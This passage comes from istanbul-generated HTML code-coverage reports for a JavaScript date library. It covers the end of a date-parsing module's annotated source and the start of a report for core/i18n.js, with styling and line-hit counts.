<span class="cstat-no" title="statement not covered" >				this.second = Number(s);</span>
			};
		},
		/* for ss.s format */
		secondAndMillisecond: <span class="fstat-no" title="function not covered" >function (s) {</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function () {</span></span>
<span class="cstat-no" title="statement not covered" >				var mx = s.match(/^([0-5][0-9])\.([0-9]{1,3})/);</span>
<span class="cstat-no" title="statement not covered" >				this.second = Number(mx[1]);</span>
<span class="cstat-no" title="statement not covered" >				this.millisecond = Number(mx[2]);</span>
			};
		},
		meridian: function (s) {
			return function () {
				this.meridian = s.slice(0, 1).toLowerCase();
			};
		},
		timezone: function (s) {
			return function () {
				var n = s.replace(/[^\d\+\-]/g, "");
				<span class="missing-if-branch" title="if path not taken" >I</span>if (n.length) {
<span class="cstat-no" title="statement not covered" >					this.timezoneOffset = Number(n);</span>
				} else {
					this.timezone = s.toLowerCase();
				}
			};
		},
		day: function (x) {
			var s = x[0];
			return function () {
				this.day = Number(s.match(/\d+/)[0]);
				<span class="missing-if-branch" title="if path not taken" >I</span>if (this.day &lt; 1) {
<span class="cstat-no" title="statement not covered" >					throw "invalid day";</span>
				}
			};
		},
		month: function (s) {
			return function () {
				this.month = (s.length === 3) ? "jan feb mar apr may jun jul aug sep oct nov dec".indexOf(s)/4 : Number(s) - 1;
				<span class="missing-if-branch" title="if path not taken" >I</span>if (this.month &lt; 0) {
<span class="cstat-no" title="statement not covered" >					throw "invalid month";</span>
				}
			};
		},
		year: function (s) {
			return function () {
				var n = Number(s);
				this.year = ((s.length &gt; 2) ? n :
					(n + (((n + 2000) &lt; Date.CultureInfo.twoDigitYearMax) ? 2000 : 1900)));
			};
		},
		rday: function (s) {
			return function () {
				switch (s) {
<span class="branch-0 cbranch-no" title="branch not covered" >					case "yesterday":</span>
<span class="cstat-no" title="statement not covered" >						this.days = -1;</span>
<span class="cstat-no" title="statement not covered" >						break;</span>
<span class="branch-1 cbranch-no" title="branch not covered" >					case "tomorrow":</span>
<span class="cstat-no" title="statement not covered" >						this.days = 1;</span>
<span class="cstat-no" title="statement not covered" >						break;</span>
					case "today":
						this.days = 0;
						break;
					case "now":
						this.days = 0;
						this.now = true;
						break;
				}
			};
		},
		finishExact: function (x) {
			var d;
			x = (x instanceof Array) ? x : <span class="branch-1 cbranch-no" title="branch not covered" >[x];</span>
&nbsp;
			for (var i = 0 ; i &lt; x.length ; i++) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (x[i]) {
					x[i].call(this);
				}
			}
			
			setDefaults.call(this);
			parseMeridian.call(this);
&nbsp;
			if (this.day &gt; $D.getDaysInMonth(this.year, this.month)) {
				throw new RangeError(this.day + " is not a valid value for days.");
			}
&nbsp;
			d = new Date(this.year, this.month, this.day, this.hour, this.minute, this.second, this.millisecond);
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.year &lt; 100) {
<span class="cstat-no" title="statement not covered" >				d.setFullYear(this.year); </span>// means years less that 100 are process correctly. JS will parse it otherwise as 1900-1999.
			}
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.timezone) {
<span class="cstat-no" title="statement not covered" >				d.set({ timezone: this.timezone });</span>
			} else <span class="missing-if-branch" title="if path not taken" >I</span>if (this.timezoneOffset) {
<span class="cstat-no" title="statement not covered" >				d.set({ timezoneOffset: this.timezoneOffset });</span>
			}
			
			return d;
		},
		finish: function (x) {
			var today, expression, orient, temp;
&nbsp;
			x = (x instanceof Array) ? flattenAndCompact(x) : <span class="branch-1 cbranch-no" title="branch not covered" >[ x ];</span>
&nbsp;
			if (x.length === 0) {
				return null;
			}
&nbsp;
			for (var i = 0 ; i &lt; x.length ; i++) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (typeof x[i] === "function") {
					x[i].call(this);
				}
			}
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.now &amp;&amp; !this.unit &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >!this.operator)</span> {
<span class="cstat-no" title="statement not covered" >				return new Date();</span>
			} else {
				today = finishUtils.getToday.call(this);
			}
			
			expression = !!(this.days &amp;&amp; <span class="branch-1 cbranch-no" title="branch not covered" >this.days !== null </span>|| this.orient || this.operator);
			orient = ((this.orient === "past" || this.operator === "subtract") ? -1 : 1);
&nbsp;
			if (this.month &amp;&amp; this.unit === "week") {
				this.value = this.month + 1;
				delete this.month;
				delete this.day;
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if ((this.month || this.month === 0) &amp;&amp; "year day hour minute second".indexOf(this.unit) !== -1) {
<span class="cstat-no" title="statement not covered" >				if (!this.value) {</span>
<span class="cstat-no" title="statement not covered" >					this.value = this.month + 1;</span>
				}
<span class="cstat-no" title="statement not covered" >				this.month = null;</span>
<span class="cstat-no" title="statement not covered" >				expression = true;</span>
			}
&nbsp;
			if (!expression &amp;&amp; this.weekday &amp;&amp; !this.day &amp;&amp; !this.days) {
				finishUtils.setDMYFromWeekday.call(this);
			}
&nbsp;
			if (expression &amp;&amp; this.weekday &amp;&amp; this.unit !== "month" &amp;&amp; this.unit !== "week") {
				finishUtils.setDaysFromWeekday.call(this, today, orient);
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.weekday &amp;&amp; this.unit !== "week" &amp;&amp; !this.day &amp;&amp; !this.days) {
<span class="cstat-no" title="statement not covered" >				temp = Date[this.weekday]();</span>
<span class="cstat-no" title="statement not covered" >				this.day = temp.getDate();</span>
<span class="cstat-no" title="statement not covered" >				if (temp.getMonth() !== today.getMonth()) {</span>
<span class="cstat-no" title="statement not covered" >					this.month = temp.getMonth();</span>
				}
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.month &amp;&amp; this.unit === "day" &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >this.operator)</span> {
<span class="cstat-no" title="statement not covered" >				if (!this.value) {</span>
<span class="cstat-no" title="statement not covered" >					this.value = (this.month + 1);</span>
				}
<span class="cstat-no" title="statement not covered" >				this.month = null;</span>
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.value != null &amp;&amp; this.month != null &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >this.year != null)</span> {
<span class="cstat-no" title="statement not covered" >				this.day = this.value * 1;</span>
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.month &amp;&amp; !this.day &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >this.value)</span> {
<span class="cstat-no" title="statement not covered" >				today.set({ day: this.value * 1 });</span>
<span class="cstat-no" title="statement not covered" >				if (!expression) {</span>
<span class="cstat-no" title="statement not covered" >					this.day = this.value * 1;</span>
				}
			}
&nbsp;
			if (!this.month &amp;&amp; this.value &amp;&amp; this.unit === "month" &amp;&amp; !this.now) {
				this.month = this.value;
				expression = true;
			}
&nbsp;
			if (expression &amp;&amp; (this.month || this.month === 0) &amp;&amp; this.unit !== "year") {
				finishUtils.setMonthsFromMonth.call(this, today, orient);
			}
&nbsp;
			if (!this.unit) {
				this.unit = "day";
			}
&nbsp;
			finishUtils.setUnitValue.call(this, orient);
			parseMeridian.call(this);
			
			<span class="missing-if-branch" title="if path not taken" >I</span>if ((this.month || this.month === 0) &amp;&amp; !this.day) {
<span class="cstat-no" title="statement not covered" >				this.day = 1;</span>
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (!this.orient &amp;&amp; !this.operator &amp;&amp; this.unit === "week" &amp;&amp; <span class="branch-3 cbranch-no" title="branch not covered" >this.value </span>&amp;&amp; <span class="branch-4 cbranch-no" title="branch not covered" >!this.day </span>&amp;&amp; <span class="branch-5 cbranch-no" title="branch not covered" >!this.month)</span> {
<span class="cstat-no" title="statement not covered" >				return Date.today().setWeek(this.value);</span>
			}
&nbsp;
			if (this.unit === "week" &amp;&amp; this.weeks &amp;&amp; !this.day &amp;&amp; !this.month) {
				return finishUtils.generateDateFromWeeks.call(this);
			}
&nbsp;
			<span class="missing-if-branch" title="if path not taken" >I</span>if (expression &amp;&amp; this.timezone &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >this.day </span>&amp;&amp; <span class="branch-3 cbranch-no" title="branch not covered" >this.days)</span> {
<span class="cstat-no" title="statement not covered" >				this.day = this.days;</span>
			}
&nbsp;
			if (expression){
				today.add(this);
			} else {
				today.set(this);
			}
			
			if (this.timezone) {
				this.timezone = this.timezone.toUpperCase();
				var offset = $D.getTimezoneOffset(this.timezone);
				var timezone;
				<span class="missing-if-branch" title="else path not taken" >E</span>if (today.hasDaylightSavingTime()) {
					// lets check that we're being sane with timezone setting
					timezone = $D.getTimezoneAbbreviation(offset, today.isDaylightSavingTime());
					if (timezone !== this.timezone) {
						// bugger, we're in a place where things like EST vs EDT matters.
						<span class="missing-if-branch" title="if path not taken" >I</span>if (today.isDaylightSavingTime()) {
<span class="cstat-no" title="statement not covered" >							today.addHours(-1);</span>
						} else {
							today.addHours(1);
						}
					}
				}
				today.setTimezoneOffset(offset);
			}
&nbsp;
			return today;
		}
	};
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
i18n.js.html000066600000134625152444006550006650 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/i18n.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/i18n.js</span></h1>
    <h2>
        
        Statements: <span class="metric">95.45% <small>(147 / 154)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">75% <small>(69 / 92)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">94.12% <small>(32 / 34)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">95.45% <small>(147 / 154)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; i18n.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">28001</span>
<span class="cline-any cline-yes">28001</span>
<span class="cline-any cline-yes">26062</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1939</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">28001</span>
<span class="cline-any cline-yes">7360</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">28001</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-yes">10240</span>
<span class="cline-any cline-yes">10240</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">480</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-yes">9120</span>
<span class="cline-any cline-yes">9120</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-yes">8320</span>
<span class="cline-any cline-yes">8320</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1939</span>
<span class="cline-any cline-yes">1939</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1767</span>
<span class="cline-any cline-yes">1767</span>
<span class="cline-any cline-yes">1767</span>
<span class="cline-any cline-yes">1767</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">214</span>
<span class="cline-any cline-yes">214</span>
<span class="cline-any cline-yes">214</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1767</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1939</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7360</span>
<span class="cline-any cline-yes">7360</span>
<span class="cline-any cline-yes">6123</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1237</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7360</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1600</span>
<span class="cline-any cline-yes">1600</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1601</span>
<span class="cline-any cline-yes">1601</span>
<span class="cline-any cline-yes">1601</span>
<span class="cline-any cline-yes">1280</span>
<span class="cline-any cline-yes">960</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">320</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">321</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">1600</span>
<span class="cline-any cline-yes">1600</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">6240</span>
<span class="cline-any cline-yes">6240</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">2880</span>
<span class="cline-any cline-yes">2880</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
